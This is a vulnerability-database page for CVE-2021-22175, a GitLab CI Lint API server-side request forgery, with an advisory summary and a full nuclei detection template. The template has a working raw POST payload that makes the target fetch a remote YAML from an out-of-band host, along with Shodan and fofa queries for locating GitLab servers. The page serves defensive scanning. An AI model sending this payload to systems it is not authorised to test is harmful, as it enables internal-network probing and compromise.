Browse / CVEs / CVE-2021-22175
CVE-2021-22175· gitlab / gitlab· CWE-918
GitLab CI Lint API - Server-Side Request Forgery
Exploited in the wild. Listed by CISA on 2026-02-18; known to be used by ransomware.
GitLab 10.5 and later contain a server-side request forgery caused by insecure handling of webhook requests, letting unauthenticated attackers exploit the server for arbitrary requests, exploit requires sending crafted webhook requests.
Impact
Unauthenticated attackers can perform arbitrary requests on internal network, potentially leading to information disclosure or internal network compromise.
Fix
Update to the latest version of GitLab where the vulnerability is fixed.
How to confirm it
Send: POST /api/v4/ci/lint
Positive when: contains_all(body, "Included file", "\"errors\":") and contains(content_type, "application/json") and contains(interactsh_protocol, "http") and status_code == 200Run it with nuclei: nuclei -id CVE-2021-22175 -u <target>
The full check
id: CVE-2021-22175
info:
name: GitLab CI Lint API - Server-Side Request Forgery
author: 0x_Akoko
severity: high
description: |
GitLab 10.5 and later contain a server-side request forgery caused by insecure handling of webhook requests, letting unauthenticated attackers exploit the server for arbitrary requests, exploit requires sending crafted webhook requests.
impact: |
Unauthenticated attackers can perform arbitrary requests on internal network, potentially leading to information disclosure or internal network compromise.
remediation: |
Update to the latest version of GitLab where the vulnerability is fixed.
reference:
- https://gitlab.com/gitlab-org/gitlab/-/issues/294178
- https://nvd.nist.gov/vuln/detail/CVE-2021-22175
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 8.6
cve-id: CVE-2021-22175
epss-score: 0.53372
epss-percentile: 0.98994
cwe-id: CWE-918
cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: gitlab
product: gitlab
shodan-query: http.title:"GitLab"
fofa-query: app="GitLab"
tags: cve,cve2021,gitlab,ssrf,oast,vkev,kev,vuln
http:
- raw:
- |
POST /api/v4/ci/lint HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"include_merged_yaml":true,"content":"include:\n remote: 'http://{{interactsh-url}}/gitlab.yml'"}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "Included file", "\"errors\":")'
- 'contains(content_type, "application/json")'
- 'contains(interactsh_protocol, "http")'
- 'status_code == 200'
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from